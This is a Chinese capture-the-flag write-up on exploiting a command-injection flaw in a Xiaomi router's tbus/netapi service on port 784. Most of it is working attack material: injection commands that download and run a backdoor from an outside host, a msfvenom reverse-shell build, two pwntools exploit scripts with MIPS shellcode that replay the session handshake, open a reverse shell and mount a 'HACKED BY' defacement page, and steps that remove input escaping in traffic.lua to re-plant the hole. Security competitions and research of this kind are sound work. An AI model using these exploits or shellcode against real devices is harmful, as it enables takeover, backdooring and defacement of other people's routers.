          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:21238 errors:0 dropped:0 overruns:0 frame:0
          TX packets:21238 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1643537 (1.5 MiB)  TX bytes:1643537 (1.5 MiB)

路由器上本身有tcpdump,所以直接使用其对lo网卡进行抓取即可,这里可以使用本机ssh、wireshark和远程tcpdump联合使用,可直接在wireshark中看到数据包:

ssh root@192.168.31.1 "tcpdump -i lo -s 0 -w -" | wireshark -k -i -

然后触发一次命令注入:

tbus call netapi init '{"data":"$(sleep 5)"}'

分析流量:tbus.pcapng

首先使用tcp.port == 784筛出tbus的流量,然后发现还有netapi和784保持连接的tcp,不过因为流量没几条,所以能看到命令注入的流量,直接用其端口号滤出流量 tcp.port == 5186:

image

尝试直接复现图中序号为16的包的命令注入,在不重启的情况下成功,但是重启失效,与是还是要分析是不是有session啥的,分析完发现其通信过程较简单:

  • 每次重启后,注入包的开头有几个字节不一样
  • 这几个字节是由784发过来的,如图中序号为12的包
  • 如图中序号为10的包,每次重启一样,每次返回的序号为12的包序号不同,应该是握手包

所以复现10号握手包,把收回来的12号包中的session号塞到16号注入包即可

复现脚本

wget下载的反连后门以及黑页,不是很优雅,需要开两个窗口,不过比赛还是速度第一,命令注入内容如下,固定本机地址为192.168.31.7

tbus call netapi init '{"data":"ad$(wget http://192.168.31.7:8000/backdoor -O /tmp/backdoor ; chmod +x /tmp/backdoor ; /tmp/backdoor )min"}'

其中反弹shell的后门程序使用msfvenom生成:

msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.7  LPORT=6666 -f elf -o backdoor

复现流量的脚本如下:

python2

from pwn import *
import thread
context(log_level='debug')

io  = remote("192.168.31.1",784)
shell = listen(6666)

def attack():
    syn = '0004010000000000000000100200000b6e65746170690000'
    io.recv()
    io.send(syn.decode("hex"))
    id_data = io.recv()
    id_real = id_data[28:28+4]
    log.warn(id_real.encode("hex"))
    p  = "00050200"+id_real[::-1].encode("hex")+"0000009403000008"+id_real.encode("hex")+"04000009696e6974000000000700007c830000760004646174610000616424287767657420687474703a2f2f3139322e3136382e33312e373a383030302f6261636b646f6f72202d4f202f746d702f6261636b646f6f72203b2063686d6f64202b78202f746d702f6261636b646f6f72203b202f746d702f6261636b646f6f7220296d696e000000"
    log.warn(p)
    io.recv()
    io.send(p.decode("hex"))
    sleep(0.1)

thread.start_new_thread(attack,())
shell.wait_for_connection()
log.success("getshell")
shell.sendline("cp -r /www /tmp/fake_www");sleep(0.1)
shell.sendline("wget http://192.168.31.7:8000/index.html -O /tmp/fake_www/index.html");sleep(0.1)
shell.sendline("mount -o loop /tmp/fake_www /www");sleep(0.1)
shell.interactive()

赛后复盘

这次比赛前我带了我能带的所有东西:烙铁、锡、吸锡带、排针、排线、串口转USB、蓝牙 usb dongle、wifi抓包网卡、抓包树莓派、测试夹、编程器、Arduino等等。虽然基本没有用上,不过也算是准备的万无一失。

多人策略

写文章的思路虽然是顺着的,但是比赛现场的分析却是网状的东一榔头西一棒子。这次我们一起打IoT的总共6人,失误的点就是第一天对于netapi的逆向失败,导致在Web口分析上浪费了大量的时间,虽然对于系统的理解是有帮助的,但仍然耽误了解题的速度。但这个失误点本质不是逆向的问题,而是策略的问题。我们6个人,其中一个给netapi的逆向判死刑了,其余5个就都默认了,这他妈才是最大的问题! 所以,两条经验:

  1. 多人合作时,虽然是分而治之,但是当给问题判死刑时,有能力研判此问题的人,应当每人独立的给问题判刑。
  2. checklist或者画图很重要,这次对于测试的流程基本没有疏漏,但是当时对于业务的分析并没有很清晰的梳理,全靠大脑冥想是不利于队友同步的,也就是最好来一个黑板。

一发入魂

这种反连shell的打法,一般要开三、四个窗口:

  • 打exp的窗口
  • webserver提供反连的后门程序和黑页
  • 反弹shell的接受窗口
  • 拿shell后续利用的快速备忘录窗口等

赛后希望反连shell的代码就直接从784正向打进去,然后挂的黑页就直接在反连的shell里直接写入,并且正连反连都在一个python脚本里,这样就只用一个窗口了。发现这个设备里有base64,所以使用base64编码写入二进制文件即可,不过因为tbus的协议格式里有长度,所以先试了一个比较长的payload,然后复用这个长度,短的命令注入补齐长度即可:

tbus call netapi init '{"data":"$(echo f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAEAFBADQAAAAYAgAAARAAADQAIAAFACgABgAFAAMAAHDYAAAA2ABAANgAQAAYAAAAGAAAAAQAAAAIAAAAAAAAcPAAAADwAEAA8ABAABgAAAAYAAAABAAAAAQAAAABAAAAAAAAAAAAQAAAAEAACAEAAAgBAAAEAAAAAAABAAEAAAAQAQAAEAFBABABQQC5AAAAuQAAAAcAAAAAAAEAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAABAAAAAAAAAAAAABAAEBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAgUEAAAAAAAAAAAD6/w8kJ3jgAf3/5CH9/+Uh//8GKFcQAiQMAQEB//+ir///pI/9/w80J3jgAeL/r68aCg48GgrONeT/rq8fBw48wKjONeb/rq/i/6Un7/8MJCcwgAFKEAIkDAEBAf3/ESQniCAC//+kjyEoIALfDwIkDAEBAf//ECT//zEi+v8wFv//BihiaQ88Ly/vNez/r69zaA48bi/ONfD/rq/0/6Cv7P+kJ/j/pK/8/6Cv+P+lJ6sPAiQMAQEBAEEPAAAAZ251AAEHAAAABAEALnNoc3RydGFiAC5NSVBTLmFiaWZsYWdzAC5yZWdpbmZvAC5zaGVsbGNvZGUALmdudS5hdHRyaWJ1dGVzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAACoAAHACAAAA2ABAANgAAAAYAAAAAAAAAAAAAAAIAAAAGAAAABoAAAAGAABwAgAAAPAAQADwAAAAGAAAAAAAAAAAAAAABAAAABgAAAAjAAAAAQAAAAcAAAAQAUEAEAEAALkAAAAAAAAAAAAAAAEAAAAAAAAALgAAAPX//28AAAAAAAAAAMkBAAAQAAAAAAAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAAAADZAQAAPgAAAAAAAAAAAAAAAQAAAAAAAAAK | base64 -d > /tmp/exp ; chmod +x /tmp/exp ; /tmp/exp)"}'

最终exp如下:

python3

from pwn import *
import base64,threading
context(arch='mips', endian='little')

io    = remote("192.168.31.1",784)
shell = listen(6666)

black_page='''<!DOCTYPE html>
<html style="height:100%">
<head>
    <meta name="viewport" charset="utf-8" content="width=device-width, initial-scale=1, shrink-to-fit=no" >
    <title> Mi Router </title>
</head>
<body style="color: #444; margin:0; font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">
<div style="height:auto; min-height:100%; ">     
	<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
		<h1 style="margin:0; font-size:140px; line-height:150px; font-weight:bold;">HACKED BY</h1>
		<h2 style="margin-top:45px; color: red; font-size: 100px;">Redbud</h2>
		<p>Copyright ©2021 强网杯</p>
	</div>
</div>
</body>
</html>
'''

#  msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.7  LPORT=6666 -f py -o backdoor.py
shellcode  = b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x1a\x0a\x0e\x3c"
shellcode += b"\x1a\x0a\xce\x35\xe4\xff\xae\xaf\x1f\x07\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"

shellcode  = base64.b64encode(make_elf(shellcode))
cmd_inject = b'$(echo %s | base64 -d > /tmp/exp ; chmod +x /tmp/exp ; /tmp/exp)' % shellcode
assert(len(cmd_inject) < 1100)
cmd_inject = cmd_inject.ljust(1100,b'\x00')

def attack():
    syn      = bytes.fromhex('0004010000000000000000100200000b6e65746170690000')
    io.recv(); io.send(syn)
    session  = io.recv()[28:28+4]
    payload  = bytes.fromhex("00050200"+session[::-1].hex()+"0000047403000008"+session.hex())
    payload += bytes.fromhex("04000009696e6974000000000700045c830004570004646174610000")
    payload += cmd_inject
    io.recv(); io.send(payload)

threading.Thread(target=attack).start()
shell.wait_for_connection()
log.success("getshell")
shell.sendline("echo '%s' > /tmp/index.html" % black_page)
shell.sendline("mount -o bind /tmp/index.html /www/index.html")
shell.interactive()

复现埋洞

进ssh把traffic.lua:gsub("%$", "\\$")删掉然后重挂载即可,如果不想每次都来一遍,也可以直接把以下三条写在/etc/init.d/rcS中,然后reboot即可:

cp /usr/lib/lua/traffic.lua /tmp
sed -i 's/:gsub("%$", "\\\\$")//g' /tmp/traffic.lua 
mount -o bind /tmp/traffic.lua /usr/lib/lua//traffic.lua

非预期解